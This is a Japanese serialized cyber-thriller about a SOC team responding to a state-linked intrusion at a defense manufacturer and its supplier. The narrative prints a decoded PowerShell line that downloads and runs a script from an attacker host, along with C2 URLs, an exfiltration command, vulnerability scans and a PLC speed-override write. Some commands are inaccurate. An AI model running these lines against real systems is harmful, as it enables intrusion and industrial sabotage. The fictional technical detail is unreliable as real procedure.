黒狐サイレント・インベージョン
- 山崎行政書士事務所
- 2025年6月28日
- 読了時間: 52分

【序章】
―2025年2月15日 午前3時17分 東日電産 中部製造拠点セキュリティ統合室(SOC)―
液晶モニターの海に囲まれた無窓の部屋。うっすらと浮かび上がるのは、監視ソフト「LogStitch360」のダッシュボード。画面中央に、赤いアラートが浮かび上がった。「SIEM Alert #A354782:管理者権限による異常ログイン試行(GeoIP:中国江蘇省・ASN:Chinanet)」メトリクスグラフがじわじわと上昇している。午前3時。通常なら社内は“沈黙”しているはずの時間帯だ。
「また深夜の中国IPか……」
篠田拓也は立ち上がり、椅子を押しやった。35歳。社歴9年目。元インフラ系SIerで、今は東日電産のSOCチームでセキュリティ監視にあたる。無精髭にスウェット、肩には疲労がこびりついていた。
彼は即座にログ統合基盤Elastic Kibanaの検索窓に以下を打ち込んだ。
csharpevent.action: "authentication_failure" AND source.ip: "223.104.*.*" AND destination.port: 443 AND geo.location.country: "CN"
0.4秒後、5件の結果が返された。ログイン失敗。試行回数5回。ターゲットは「sys_adm_maint」と記載されている仮想アプライアンス管理アカウントだった。
「これはテストか……?」
──だが、奇妙だったのは5回とも異なるソースIPであること。それぞれ江蘇省、広東省、山西省、浙江省、北京市からだった。いずれもASNがChinanet/China Unicomである。BOTの分散型ブルートフォースにしては奇妙に精密だった。
しかもその直後、VPNゲートウェイログにも異常が出ていた。
csharp[SSLVPN] AdminLoginAttempt: suzuki_masaru@tohnichinet.co.jp via IP 223.104.89.24 - ACCEPTED
「……誰だ、深夜にVPN通したのは」
鈴木勝。金属加工ライン主任。普段はタブレットで勤務管理するだけの現場職だ。週末にVPNを使う業務はまずない。
篠田は脳内で“構成図”を描いた。SuzukiのiPadは工場棟東側の無線ネットワークに繋がり、社内のVDIへアクセスする設定になっている。だがこのログが正しいなら「中国からVPNポータルに“彼の証跡”でアクセスした」ことになる。
しかもVPNログのトークン認証ログは成功していた。
「認証トークンが盗られてる──?」
まさか、と喉の奥が冷える感覚が走った。
篠田はEDR(CrowdStrike Falcon)の管理コンソールに入り、「Suzuki端末」と「彼のADアカウントに関連するセッション」のアクティビティを遡った。
bashFeb 14 22:37:05 - suzuki_masaru logs in to PC-AGNT-0089 Feb 14 22:37:55 - Chrome.exe launches unusual child process Feb 14 22:38:02 - PowerShell encoded command detected (base64)
「食われてる……PowerShell、C2接続してるな……」
彼はエンコードされたコマンドのbase64文字列を複合化した。
vbnetIEX (New-Object Net.WebClient).DownloadString('http://www.zhcnsync.net/update.ps1')
──国外に設置されたC2(コマンド&コントロール)サーバから、ペイロードをロードしている。
篠田は深く息を吸った。
「初動確認。対象端末感染中。EDR即時隔離。ファイアウォールにブロックルール。」
同時に、Kibanaで関連アカウントの認証履歴を洗い出し、NetFlow分析基盤(ntop-ng)に切り替えてSuzuki端末の深夜帯トラフィックを確認した。
22:38〜23:06の間に、TCP/443で中国国内の12の異なるドメインに対して、約14MBの送信が行われていた。
篠田は叫んだ。
「C2接続、データ抜かれてる!」
しかし、それは「氷山の一角」だった。
彼の脳裏には、過去の事例が走馬灯のように流れた。三菱電機の防衛仕様漏洩事件。NECの潜水艦データ流出。JAXAへのAPT侵入。MirrorFace、Tick、Winnti。そこにはファイアウォールで止まらない国家の意志があった。
篠田はSlackの緊急チャンネルを開いた。
graphql#csirt-emergency @murakami 部長、即時対応が必要です。 「初動攻撃確認:VPNアカウント乗っ取り→Powershell型マルウェア実行→C2通信→データ流出の疑い」 EDR隔離済。詳細追って報告します。
手は震えていた。
だが、止まるわけにはいかない。
なぜなら、彼の前にあるコンソール画面こそが、この会社の最終防衛ラインだからだ。
第一章:不穏な兆候
―2025年2月15日 8時45分 東日電産 中部製造拠点 情報セキュリティ統合センター(SOC)―
「篠田、もう来てたか。昨日のC2件、追ってる?」
「はい。徹夜明けですが、ログ解析はだいたい終わりました」
空調の効いた監視ルームに、4枚横一列に並んだ湾曲型モニターと、24時間稼働のシステムインジケーターが静かに点滅していた。
篠田拓也。35歳、SOCエンジニア。防衛産業にも関わる東日電産で、インシデント対応の第一線に立つ。手元のテンキーを叩きながら、Kibanaのダッシュボードを切り替えた。
「昨日のマルウェア、PowerShellから感染起点拾いました。Suzukiのアカウントで深夜、EDRがencodedコマンド検出。base64複合化したら↓でした」
scssIEX(New-Object Net.WebClient).DownloadString('http://zhcnsync.net/update.ps1')
「出たな、China C2定番のスクリプト実行式か…」
部長の村上はため息をついた。
「Suzuki本人にはもう聞いたが、心当たりゼロだ。おそらく週報添付メールがフィッシングだった。本人端末には既にEDR隔離済みだが…」「ですが、問題はその先です」
篠田は、EDRのCrowdStrike Falconダッシュボードを開いた。
「この感染端末から、社内のドキュメントサーバ、ShareServer03へアクセス。その後、PDFとAutoCADファイルをzip圧縮して、Tor Proxy経由で送信ログがありました」
「Tor!? 社内から外に?」
「いえ、まずVPN経由でログイン→Tor Browser(Firefox改造版)が勝手に立ち上がってました。通信先は185.220.101.20、The Tor Projectの出口ノードに登録されています」
村上は顔をしかめた。
「確定か?」
「はい、NetFlow見てください。22:41〜23:03の間で、ポート443/80/9001番を使ったアウトバウンドが12回。IPは欧州、中央アジア、北米。ファイル送信量:16.3MB」
「内容は?」
「暗号化されてますが、名前はHEAT_V6_HomingICD_v9.dwg。熱追尾型ミサイルの制御インタフェース資料です。多分これ、防衛輸出部の外部開発成果品です」
「それが吸い出された…!」
村上はすぐにCSIRT用ホットラインの電話機に手を伸ばした。
―同日 9時10分 東日電産 本社 CSIRT指令室(仮設)―
CSIRTチームのリーダーである篠田は、ホワイトボードに「侵入経路」「感染端末」「拠点名」「対象ファイル」「推定通信先」を分類して書き出した。
起点:VPNログイン(Suzukiアカウント)
感染経路:不審メール内Office文書マクロ/PowerShell起動
第1活動:社内ファイルサーバアクセス、AutoCADデータ収集
第2活動:Torプロキシ経由で国外C2にデータ送信
IOC(Indicator of Compromise):
PowerShell base64コマンド
C2ドメイン:zhcnsync.net(登録者:中国福建省)
接続IP:複数(Tor出口ノード)
「次に疑うべきは横展開(lateral movement)です」
そう言いながら、篠田はEDRログのクエリを再入力した。
makefiledevice.process.name: powershell.exe AND event.cmdline: -EncodedCommand AND @timestamp:[now-48h TO now]
結果、同様のPowerShell実行ログが計5台のPCで確認された。
「これらの端末はどれも、Suzukiが利用している製造B棟と同じネットワークセグメント内です」
「それぞれに何があった?」
「感染後、同じC2にデータをPOSTしてました。しかも使用されていたペイロードが異なる亜種。つまり、一度で終わる攻撃じゃない。APTの可能性が高い」
村上は顔を上げた。
「APT…つまり長期潜伏型の高度攻撃…国家系だな」
「この痕跡を追って、外部から協力仰ぎます。JPCERT/CCか、IPAの分析ラボに提出しましょう。IOCリストも添付しておきます」
「篠田、悪いが、政府報告用レポートも作ってくれ。NISCから照会来る前にこっちから送る」
「了解です」
―午前10時30分 製造B棟2階 工場制御ネットワーク・サブネット調査中―
篠田は現地に足を運び、ネットワークスニファ「Wireshark」で異常通信を追っていた。工場棟の制御ネットワークはICMP・Telnetを遮断しており、監視用Modbus TCP通信が定常的に走っていた。
その中に、不可解な**ポート5355(LLMNR)**応答通信が紛れていた。
「LLMNR…社内で無効化されてるはずだが…?」
通信元のIPは 10.245.13.88。名前解決要求に対して「WINS Lookup Failed」応答が繰り返されている。
篠田はすぐにそのIPの端末を隔離し、EDRで再スキャンした。
結果:感染確認。使用されたマルウェア名「Mimikatfox.vbe」
メモリ内で認証情報をスクレイピング
LLMNRによる認証クレデンシャル中間者攻撃(Responder系ツール)
取得したハッシュを社内ADにリプレイ → ドメイン昇格可能性
「…来てるな。ドメイン横展開が始まってる」
第二章:侵食の発覚
――2025 年 2 月 15 日 11 時07 分 東日電産 SOC/フォレンジックラボ
1 深層スキャン
篠田拓也は紙コップのコーヒーに口をつけた。徹夜明けの苦さが舌を刺激する。夜明け前に捕捉した PowerShell 侵入は氷山の一角だ――そう直感していた。だからこそ、彼は夜が明けるや否や Rapid7 InsightVM で全社スキャンを強制実行した。通常なら金曜夜に回す負荷分散ジョブを、水曜の昼に回す暴挙だ。
bash# 重要機密ネット分を含む全 /16 セグメントを急遽スキャン rvmscan --sites "TOHNICHI-CORP" \ --exclude-tags "ICS_NG" \ --include-asset-groups "AllEndpoints" \ --threads 32 \ --timeout 1800
─threads 32、timeout 1800 秒。VM 管理サーバのファンが悲鳴を上げた。が、彼は知っている。脅威が潜伏していれば、サーバの悲鳴程度で済む話ではない。
15 分後、InsightVM が異常を吐き出した。“CVE‑2023‑27997 (FortiOS SSL‑VPN heap overflow) ― Critical” が赤く点滅。スキャン対象 IP は 10.152.0.14。これは東日と協力会社「昭南工作所」を結ぶ旧式 FortiGate 60E だ。
篠田メモ Firmware: v6.2.10 build1263 SSLVPN設定 /remote/login 有効 Exploit POC 公開済み(2023/08)篠田は息を呑んだ。「ここから侵入したか…!」
2 感染マップ
次に彼が開いたのは CrowdStrike Falcon Discover の “Host Infection Graph”。Suzuki 端末を中心に Kill Chain が青紫の線で伸びる。
markdownSUZUKI-IPC → CAD-SRV03 → AD-FS01 → ENG-VmHost12 ↘ FILE-Sync2 → PRINT-01
感染基点:SUZUKI-IPC(Windows 10 22H2, agent v6.52)
横展開:Pass‑the‑Hash → SMB Session Setup → Share Enumeration
取得権限:SeBackupPrivilege ― 一時取得 → AD ごと抜かれる危険
Falcon は 130 台の「低度侵害」を橙色で表示していた。CSIRT 全員の手が止まる。130 台という数字は偶然ではない。篠田の脳裏に、2019 年 NEC 事件の「潜伏 27,000 ファイル流出」がフラッシュバックした。
3 課金済み C2
菜々子は IDA Pro で update.ps1 が呼び出す DLL を逆アセンブルしていた。DLL 名は svcevt.dll。PE Header の Rich サインを剥ぎ取ると、CompanyName = InfoTeQ Co.。だが署名は失効済み。「Winnti が好むパターンだな」と菜々子。内部に XOR 0x35 のストリングが眠っていた。
texthxxp://185.199.220.72:443/api/v1/orders AES_KEY=41c0e55e9916df... Campaign: 黒狐2025 (BlackFox2025)
API パス /orders は APT41 が 2024 年春の台湾素材メーカー侵害で用いた C2と一致する。
「黒狐……日本向け新キャンペーン名だろうね」菜々子は眼鏡越しに笑いを殺した。「皮肉なコードネーム。」
4 制御網の滲出
午後 0 時32 分。SOC の奥、ICS‑SOC 専用ノードのアラートが鳴る。“Excessive CIP Write Requests from ENG‑VmHost12 to PLC‑45.xxx”製造ラインを担う Allen‑Bradley CompactLogix 5380 の PLC 45 台のうち 1 台が、短時間に Write コマンドを 300 回受けたという。
PLC 詳細 Firmware v33.011 CIP Security OFF(運用部の事情で無効) セグメント ID: 172.31.40.0/26(生産ロボット群)
CIP Write 回数 300 は通常運転の 30 倍。篠田は Wireshark のフィルタを即席で組む。
inieth.src == 40:8d:5c:* and cip.service == 0x4D and svr.addr == 172.31.40.32
パケットを開いた瞬間、背筋が凍る。Tag: SpeedOverride = 125%。「ロボットを暴走させるつもりか!」
ICS‑SOC 技術者の田所が叫び、製造ラインを 5 分間の非常停止(E‑Stop)。だが暴走トリガはまだ実行されていなかった。攻撃者は「最終兵器」として PLC Write を埋め込み、好きなタイミングで生産を破壊する腹だったのだ。
5 AD の黒い影
午後 1 時20 分。篠田は BloodHound で AD グラフを生成。ノード 3,242、エッジ 19,381。異様なほど短い最短経路が目を引いた。
rubyUSER:suzuki_masaru └──(MemberOf)──→ GROUP:Prod-Eng-Local └──(CanIPMI)──→ COMPUTER:ENG-VmHost12 └──(AdminTo)──→ COMPUTER:AD-FS01
IPMI 権限? 「しょうなん工作所」連携用の遠隔再起動権限が生きていた。そこから Domain Admin へ 3 ホップ。篠田は呟く。「最短 3 ホップ。侵入に最適なレールが敷いてあったわけだ」
菜々子が Invoke-Mimikatz で LSASS ダンプを確認。krbtgt チケットハッシュが抜かれていた。「Golden Ticket を作られた形跡がある。」「つまり好き放題、永続的に AD に潜れるわけか…」
6 封じ込め v1.0
CSIRT は Containment Playbook #IR‑02 を発動。
EDR で TAG=SuspiciousPowerShell を Network Quarantine
FortiGate VPN CVE‑2023‑27997 パッチまで インターフェース shutdown
Windows FW GPO:Tor ノード 50,000 IP を Outbound Deny
ICS セグメントは L3 スイッチで ACL “Block_Write_CIP” 追加
さらに村上は クラウドプロキシ Zscaler 経由で C2 ドメインをシンクホールへ。ISI(Israel Security Intelligence)のブラックホール IP へリダイレクトし、攻撃者のセッションを切断した。
7 青チームのカナリア
隔離の最中、SOC の Syslog が再び赤に染まる。
yamlSysmon Event ID 1: Process Create: C:\Windows\system32\wscript.exe Process CommandLine: wscript.exe //e:jscript "\\10.245.13.88\share\monitor.js" ParentImage: C:\Windows\explorer.exe IntegrityLevel: High
JS ファイル monitor.js は新しいマルウェア dropper だった。隔離したはずの 10.245.13.88――さっき LLMNR を撒いていた端末が共有フォルダに配置。しかも IntegrityLevel: High。UAC バイパス後に実行、感染拡大中だ。
篠田は Sysmon + KQL で同コマンドを叩いた端末を 5 秒で抽出。
kustoDeviceProcessEvents | where FileName == "wscript.exe" | where ProcessCommandLine contains "\\10.245.13.88\\share\\monitor.js"
ヒット数 27。セキュリティラボ全員の背筋が凍る。「LLMNR だけじゃない。社員の好奇心を突くファイルサーバ汚染型だ」
篠田は「封じ込め v1.1」を宣言。
AD GPO で FileShareAutoRun 無効化
wscript.exe と cscript.exe を AppLocker で全社禁止
読み取り専用共有も SMB signing 必須 に切替わずか 10 分で 27 台が EDR 隔離されたが、幸い IOC 中のデータ流出ログはゼロだった。
8 国防の眼差し
午後 2 時40 分、本社役員フロア。防衛省情報本部から「緊急連絡」が届く。長谷川直樹が村上に直接電話した。
「MirrorFace 系列の BlackFox2025 に該当するアクティビティを確認。昨年 11 月から国内 5 社で同様手口。今朝、あなた方でも確認されたと公安から連絡があった。こちらでも C2 を掴んでいる。情報共有したい」
やはり来たか――村上は SOC へ戻り、篠田に耳打ちした。「今から政府の共同対処チームへ IOC を投げる。準備しろ」「了解。EDR と NetFlow、生データで 40 GB あります」「とにかく安全な BOX 作ってアップだ」
9 疑似 C2 実験
菜々子は C2 の挙動を解析するために Docker コンテナ でスタブサーバを立てた。攻撃 DLL の AES‐KEY が判明したので、C2 から Push されるペイロードを複合化・可視化できる。
pythonfrom Crypto.Cipher import AES key = bytes.fromhex('41c0e55e9916df...') cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00'*16) plaintext = cipher.decrypt(payload) print(plaintext)
端末に表示された JSON は衝撃的だった。
json{ "cmd": "exfil", "path": "\\\\10.152.30.5\\cad\\HEAT_V6_HomingICD_v9.dwg", "compress": "zstd", "move_after": "C:\\ProgramData\\tmp\\hidden", "schedule": "0 2 *" }
攻撃者は cron 風スケジューラ を組込み、毎日深夜 2 時に AutoCAD 図面を吸い上げるよう命令。菜々子は「夜だけ盗むから昼間気付かない」と呟く。
篠田は外部アップリンクの Proxy ログ で、zstd 文字列を検索した。
kustoCommonSecurityLog | where DestinationPort == 443 | where RequestURL contains ".zst"
結果 3 件。サイズは 512 KB、672 KB、810 KB。まだ図面全体は抜かれていない。急げば間に合う。
10 パッチと葛藤
午後 4 時05 分。FortiGate の緊急パッチ v6.2.11 が社内ミラーに届いた。だが適用には再起動で 180 秒の停止。昭南工作所とのファイル転送が止まる――生産管理部は色を失う。
高梨本部長が奔走する。「納期が遅れる? 国防機密が漏れるよりマシだ!」声を荒げつつも運用影響の最小化策を指示。夜間停止を前倒しし、工程を 2 時間繰り上げる。「夜中に全部再起動しろ。責任は俺が取る!」
篠田は胸の内で呟く。
“ようやく経営が危機を理解した”。
11 静かなる夜の準備
夜。篠田は Azure Sentinel にリアルタイム分析ルールを 3 つ追加した。
yamlname: BlackFoxFileExfil query: | SecurityEvent | where EventID == 5145 | where ObjectName endswith ".dwg" | where RemoteAddress startswith "223.104." | extend ExfilSize = ObjectServer threshold: 1
閾値を 1 に下げ、Auto‑Response で EDR 隔離を連動。さらに Logic App で Slack #alert に通知、PagerDuty で当直のスマホを鳴らす。
最後、彼は SOC ガラス越しに工場夜景を見下ろした。蒼白い LED 灯が整然と並ぶ。だが、あの光の下にも「見えない侵入者」が潜む。
この章の終盤――23 時56 分、Tor へのアウトバウンドが再び跳ね上がる。だが今回はシンクホールへ。攻撃者は気づかず、自らのペイロードと情報を防衛省側サーバへ送信し始める――。
<章末技術まとめ/IOCリスト(抜粋)>
項目 | 値 | 備考 |
C2 ドメイン | zhcnsync.net, 185.199.220.72 | BlackFox2025 キャンペーン |
マルウェア DLL | svcevt.dll | MD5 0e2af5c9d6b4... |
DLL 内部鍵 | AES‑128 CBC 41c0e55e9916df... | 固定 |
侵入経路 | FortiGate SSL‑VPN CVE‑2023‑27997 | PoC 公開済 |
lateral 手口 | LLMNR/Responder → pass‑the‑hash → GoldenTicket | Kerberoast 痕跡あり |
ICS 攻撃 | CIP Write Tag:SpeedOverride=125% | CompactLogix 5380 |
Exfil ペイロード | .dwg .pdf .xlsm → zstd 圧縮 → HTTPS/Tor | 夜間 02:00 実行 |
第3章:潜伏する影
――2025 年 2 月 15 日 23 時58 分〜 2 月 16 日 05 時27 分
0 闇の呼吸
深夜 0 時直前――SOC の照明は落ち、非常灯だけが青白く机を照らしている。アラートは止んでいる。だが篠田拓也の胸には、終わらない脈動があった。「まだ“黒狐”は息を潜めている」。C2 シンクホールで通信を折らせはした。だが侵入された 130 台の端末のうち、23 台はフォレンジック未解析のままだ。
「潜伏を許した時間=彼らの根の深さ」――NEC 事件の教訓が、脳裏に焼きついている。
そこで篠田は決めた。夜を徹して内部偵察を行う。ターゲットは AD の**“血流”**――Kerberos チケットと LDAP バインドログ。攻撃者は Golden Ticket を持った。ならば逆手に取って、誰が暗闇を歩いているか嗅ぎ出せ。
1 ハンティング・ルーチン
1.1 解像度 30 秒
まず Windows イベント転送(WEF) のサブスクリプションを 30 秒間隔に縮める。通常は 5 分おきの帯域節約設定だが、篠田は GPO 即時更新で以下を投入。
powershell<# GPO: SOC-KERBEROS-AUDIT #> Set-ItemProperty ` "HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\Security" ` "EventLogRetention" 0 Auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable wecutil ss "KerbSub" 30
1.2 KQL スニファ
Azure Sentinel 側でリアルタイム・クエリ。
kustoSecurityEvent | where EventID in (4768, 4769, 4770, 4771) | where IpAddress !startswith "10." | where TicketEncryptionType == 0x17 // RC4-HMAC | extend TargetUser = TargetUserName, Realm = TargetDomainName | project TimeGenerated, TargetUser, IpAddress, Realm
深夜 0:07。ヒット 1。TimeGenerated=00:07:12 TargetUser=krbtgt IpAddress=10.245.13.88
「あの LLMNR 端末だ…!」krbtgt への RC4 チケット要求――Golden Ticket 生成の傍証だ。
2 血流マッピング
2.1 Zeek+Huntress
篠田は DMZ のブロックトラフィックを Zeek に送っている。だが社内は Microsegmentation のためフルキャプチャできない。そこで**EDR の FDR(Falcon Data Replicator)**を s3://tohnichi-ir に吐き出し、Zeek フィードと突合。
Python でメタ結合。
pythonimport pandas as pd fdr = pd.read_parquet('fdr_20250215-1700.parquet') zeek = pd.read_csv('zeek_kerberos.csv') merged = pd.merge(fdr, zeek, on=['timestamp','src_ip']) sus = merged[merged['service']=='kerberos' & (merged['ticket_size']>2000)]
該当セッション 62 件のうち、58 件が 10.245.13.88 → AD-FS01。だが 4 件だけ別経路を取っていた。10.245.22.14 → AD-ENG02。この IP は CAD チームの VM ホスト。感染リストに入っていなかった端末だ。
「まだ “死角” がある」
2.2 Sigma + YARA
菜々子は 10.245.22.14 のメモリダンプを Falcon Live Response で取得。Volatility3 にかけ、yarascan に自作シグネチャを食わせる。
yararule BlackFoxLoader { strings: $x1 = "BlackFox2025" $x2 = { 8B ?? ?? 6A 00 68 ?? ?? ?? ?? 6A 00 FF 50 10 } condition: filesize < 3MB and $x1 and $x2 }
命中――DLL ntshrui.dll。COM ハイジャックで永続化。篠田は「MS13-038 で見た手口の焼き直しだ」と歯ぎしりした。
3 静脈注射:Shadow Credentials
3.1 ADCS Misconfig
BloodHound クエリ。
bloodhoundMATCH (comp:Computer)-[:MemberOf]->(g:Group)-[:WriteDacl]->(cert:EnrollmentService) WHERE comp.name CONTAINS "ENG-VmHost" RETURN comp, cert
ENG-VmHost12 が CA サーバ PKI-ROOT01 へ WriteDacl。菜々子「証明書サービス乗っ取られたら、Shadow Credentials 作られる」
篠田は Certify で検証。
powershell.\Certify.exe find /ca:Pki-ROOT01 /vulnerable | fl
ESC1 と ESC8 脆弱なテンプレート 2 件が露呈。攻撃者は ESC8 を悪用し、自分の altSecurityIdentities に偽装証明書を登録。Kerberos S4U2Self で権限昇格を可能にしていた。
4 リコンズ・リコンズ
4.1 域外ビコン
シンクホール結果を NISC に共有して 3 時間。長谷川直樹から暗号化チャットが来た。
長谷川「C2 側で未照合の HTTP Beacon を捕捉。/api/ping に 10 分間隔 PUT。X‑Host: “river‑stone”」「そちらに “river‑stone” という端末名は?」
篠田「ない」菜々子が AD を river* で検索――ヒットなし。しかし MDT サーバのタスクスケジューラに残っていたログの中で「TaskName=\RiverStone\IntelFWUpd」を発見。MDT は開発ネットとは論理分離のはず――壁を越えた?
4.2 SQL の窓
MDT サーバは社内 ERP(SQL Server 2019)と Linked Server を組んでいた。篠田は SQL ログインの失敗を抽出。
sqlSELECT TOP 50 login_name, client_net_address, failure_reason FROM sys.dm_exec_connections WHERE login_name LIKE 'river%' ORDER BY connect_time DESC;
river_admin で失敗を繰り返すログ、IP は 10.245.22.14。CAD チーム VM ホストから ERP へ。攻撃者は ERP の中へ“財務データ”を掘りに来ている。が、真の狙いはERP → 社内 PKI → ログイン証明書。証明書を手に入れ、VPN を欺き、国外のミラー工場 PJ にまでアクセスする布石だ。
5 深部摘出作戦
5.1 Mintaka
村上は「作戦名:Mintaka」を宣言。Mintaka はオリオン座の三ツ星。目標:
CAD ホスト群を即時隔離、仮想マシンをスナップショット
AD CS の ESC8 テンプレートを無効化(DSRM 使用)
CA 証明書の LR(Log Replay)で偽登録を発見し削除
ERP の Linked Server を切断し、財務 DB を只読みへ
5.2 PS‑Remoting via JEA
篠田は JEA(Just Enough Administration) セッションを使い、遠隔で CAD ホストを落とす。
powershellInvoke-Command -ComputerName ENG-VmHost12 -ConfigurationName TohNICHI.JEA ` -ScriptBlock { Stop-Service -Name "VMMS" -Force Get-VM | Suspend-VM }
6 ドライアイス
0 時→3 時。室温 18 ℃ の SOC で、篠田の指先は冷え切っている。だがコンソール内の“熱”は上がる一方だった。CAD ホストから出た zstd 圧縮ファイルが、今度は SMB 445 で FILE‑SYNC02 を経由し、minio オブジェクトストアに落とされかけた。
菜々子は SMB Relay を疑い、Responder の痕跡を追って LLMNR を 0.0.0.0 へリダイレクトする GPO をプッシュ。同時に minio サーバのバケットを immutability lock に切り替え、書き込みを無効にした。
7 影の正体
7.1 Yagi‑ant
午前 4 時10 分。長谷川から再度連絡。「国際バックボーン上で river-stone Beacon の再帰 DNSを追った。終点は中国海軍研究所 IP ブロック」――APT41 系列であることへの裏付けが取れた。
7.2 黒狐の足跡
IOC に “BlackFoxLoader” の新バージョンが追加。DLL 名 winnet.dll。MD5 d41d8cd98f00b204e9800998ecf8427e――奇妙に空ファイル。菜々子が言う。「置換トリックだ。解析阻止用のダミー MD5 だよ」ならば SHA‑256 を取る。4f70bfe74e9d2c5a47c...。VirusTotal 未登録。ゼロデイの証。
篠田は決意する。「根絶まであと一息だ」
8 暁の復位
8.1 ESC 高速修復
午前 5 時03 分。CA サーバ PKI-ROOT01 で以下を実行。
powershell# Disable vulnerable template certutil -setattributes "UserAutoEnroll" +EXTENSION_PEND_ALL # Revoke rogue certificates certutil -revoke <serialNumber> certutil -crl
8.2 Golden Ticket 無効化
powershellReset-KrbtgtKey -Force -Confirm:$false
二度のロールオーバー。篠田のまぶたは重い。だが目は冴えていた。
9 夜明けのディテクション
05 時27 分。SOC の大型モニターに、最後の赤が緑へ変わる。Critical: 0 High: 0 Medium: 4 Low: 23
村上がコーヒー片手に戻ってきた。「お疲れ。Mintaka は成功だ。防衛省からも“阻止確認”と入った」篠田は背もたれに沈み込む。杭を打った、そう感じた。だが“影”は滅んだわけではない。
ログにはまだ未解析の低レベルアラートが溜まり、夜明けの工場は再起動の準備に追われる。篠田の心臓は静かに鳴っていた。新しい一日が、また始まろうとしている。
◆第3章主要コマンド・ツール索引(抜粋)
カテゴリ | ツール・コマンド | 目的 |
監査 | Auditpol, wecutil | Kerberos 詳細ログ有効・イベント転送 |
検索 | KQL, Zeek | チケット異常・外部 IP 検出 |
フォレンジック | Volatility3, YARA | DLL/Persistent Object 抽出 |
AD 可視化 | BloodHound, Certify | ESC8/Shadow Credentials 解析 |
隔離 | EDR Network Quarantine, GPO ACL | 感染端末・C2 遮断 |
CA 修復 | certutil, Reset-KrbtgtKey | 惑星 Mintaka 作戦 成功 |
第4章:供給網の罠
――2025 年 2 月 16 日 09 時12 分 昭南工作所(Shonan Works)本社/静岡県裾野市
0 外部拠点 IR(Incident Response) 出動
高速道路を北上するワンボックスの荷室で、篠田拓也はノート PC の画面を睨んでいた。隣席の杉本菜々子が LTE ルータを膝に載せ、ライブで EDR テレメトリを同期している。前夜掴んだ CAD ホスト経由の “river‑stone” ビーコンは、昭南工作所の VPN 網 を踏み台にしていた。東日電産から約 70 km――サプライチェーンの最も脆弱な輪が、やはり切れようとしている。
作戦コード:SC‑IR‑01 目的:侵入の起点と C2 トラフィックの完全遮断 範囲:昭南工作所・裾野本社、鷹津工場、静岡物流 DC 参加:東日 CSIRT 4 名、昭南 SE 2 名、外部 DFIR コンサル 2 名
篠田は社用スマホで Slack を開く。
arduino#csirt-field ▶︎ 到着予定 09:10 ▶︎ FortiGate 60E firmware v6.2.10 build1263 confirmed vulnerable ▶︎ 引継 VPN config export 済
車窓に富士山の白い稜線が過ぎた。空は薄い雲。敵は既に山の向こう側に潜んでいる――そう思うと、呼吸が浅くなる。
1 脆弱装置への第一接触
1.1 ファーム確認
昭南の情シス室。埃をかぶった 19 インチラックに FortiGate 60E が二段重ねで収まる。CSIRT コンサル佐藤が CLI を開いた。
makefileFGT60E # get system status Version: FortiGate-60E v6.2.10,build1263,211227 (GA) Virus-DB: 78.00644(2024-11-20 18:56)
ビルド 1263。CVE‑2023‑27997 のパッチ前。篠田はパケットキャプチャを開始。
nginxFGT60E # diagnose sniffer packet any "tcp port 443 and host 10.152.0.14" 4 0 a
3 秒で ClientHello。SNI は vpn.sho-nan.co.jp。だが次に現れたのは SessionID ≠ Null の変則 TLS。random gmt_unix_time = 0x00000000――PoC Exploit の典型パターンだ。
「ヒープオーバーフローの悪用痕跡、ほぼ確定」菜々子がつぶやき、PCAP をエクスポート。
1.2 メモリダンプ
FortiGate は BusyBox 派生 Linux。脆弱性が叩かれた直後、/dev/ttyS0 に FGT60E undefined instruction が残ることが多い。そこで UART コンソールケーブルを挿し、diag sys flash list を実行。
makefileCrashlog: crash.20250212.011501.core
2025-02-12。三日前。長谷川が注意喚起を出した日と符合する。佐藤が crashlog を吸い上げ、GDB でスタック逆引き。
cssBacktrace: ipsecvsn_ex() -> sslvpn_check_auth() -> memcpy()
想定どおり悪用ポイントは memcpy()。PoC で用いられたパス長 0x270 を超えて書き込み、権限昇格シェルを出す型。
2 一つ目のドア:旧 NAS
2.1 SMBv1 ゴースト
昭南では FortiGate 直下に QNAP TS‑431P NAS (FW v4.3.4) がある。ローカルに “仕事共有” を置き、VPN ユーザは自由に読めた。菜々子が NAS へ Nmap。
cssnmap -p 139,445 --script smb-vuln* 10.152.0.20
smb-vuln-ms17-010: VULNERABLE と赤字。WannaCry 時代から止まったままの SMBv1。篠田はため息。「ここが横展開ハブになったんだ」
2.2 感染 DLL
NAS 上の \\NAS\share\tools\WinUpdate\winnet.dll が 1,024,000 bytes。ハッシュは東日で捕捉した winnet.dll と一致。NAS で Recycle Bin を見ると下記 3 ファイルが日時偽装で削除待ち。
update.ps1 (2023‑10‑12 00:00)
mssvhosts.dll (ゼロバイト)
blackfox.ico
タイムスタンプは 2025-02-14 22:36――Suzuki PC が侵入された 5 分後。VPN → NAS → SMBv1 → Suzuki PC――最短経路が繋がった。
3 第二のドア:制御網との細い管
昭南は金属プレス加工を行う中小規模だが、東日の製造ライセンスの一部を継承。情報系 VLAN と OT VLAN は L3‑SW で論理分離のはず。ところが配線を追うと、管理者用 KVM スイッチ から OT 側に 1 本だけ CAT6 が出ていた。篠田が L3‑SW に ssh。
makefilesho-vl-sw01# show mac address-table vlan 217 | include f0/47 10:52:8b:11:0a:76 DYNAMIC Gi0/47
Gi0/47――問題のケーブル。MAC は Dell KVM。人が便利にした抜け道 は、攻撃者の最短路になる。
3.1 PLC Shadow Tag
KVM 直下に置かれた Windows 7 ‑ 32bit PC の RAM から、菜々子が Volatility apihooks を実行。
luaHooked function: WriteFileA @ 0x76f123d0 -> 0x00401000 (BLACKFOX+0x1000)
WriteFileA フックで PLC へ書く DLL が仕込まれていた。タグ名は SpeedOverride, データ型 REAL, 値 1.25e+00。これが前章で見た 125% 書き込み。昭南にも同じテンプレを用意していたのだ。
4 踏み石の記憶
4.1 Sysmon on Legacy
昭南の端末は Windows 7 が 40%、Sysmon 未導入。篠田は Sysmon v13 を GPO インストールし、Logstash → Elastic へ。
1 時間後、EventID 1(ProcessCreate)が大量に。powershell.exe -enc ... の連鎖。Ascii85 エンコードの亜種で、ベクタはメール添付 価格改定通知.xlsm。Japanized スピアフィッシング。メールヘッダー偽装「東日購買部」。
篠田は O365 ログを掘る――SPF fail, DKIM none を見逃し、クラウドメールゲートウェイも隔離しなかった。中小企業の典型的弱点が突かれていた。
5 遮断と療治
5.1 ゼロトラスト的応急
FortiGate 60E:緊急ファーム v6.2.11 へアップ、SSLVPN を portal‑only に。
TS‑431P NAS:SMBv1 強制無効、host allow = 10.152.0.0/24 のみ。
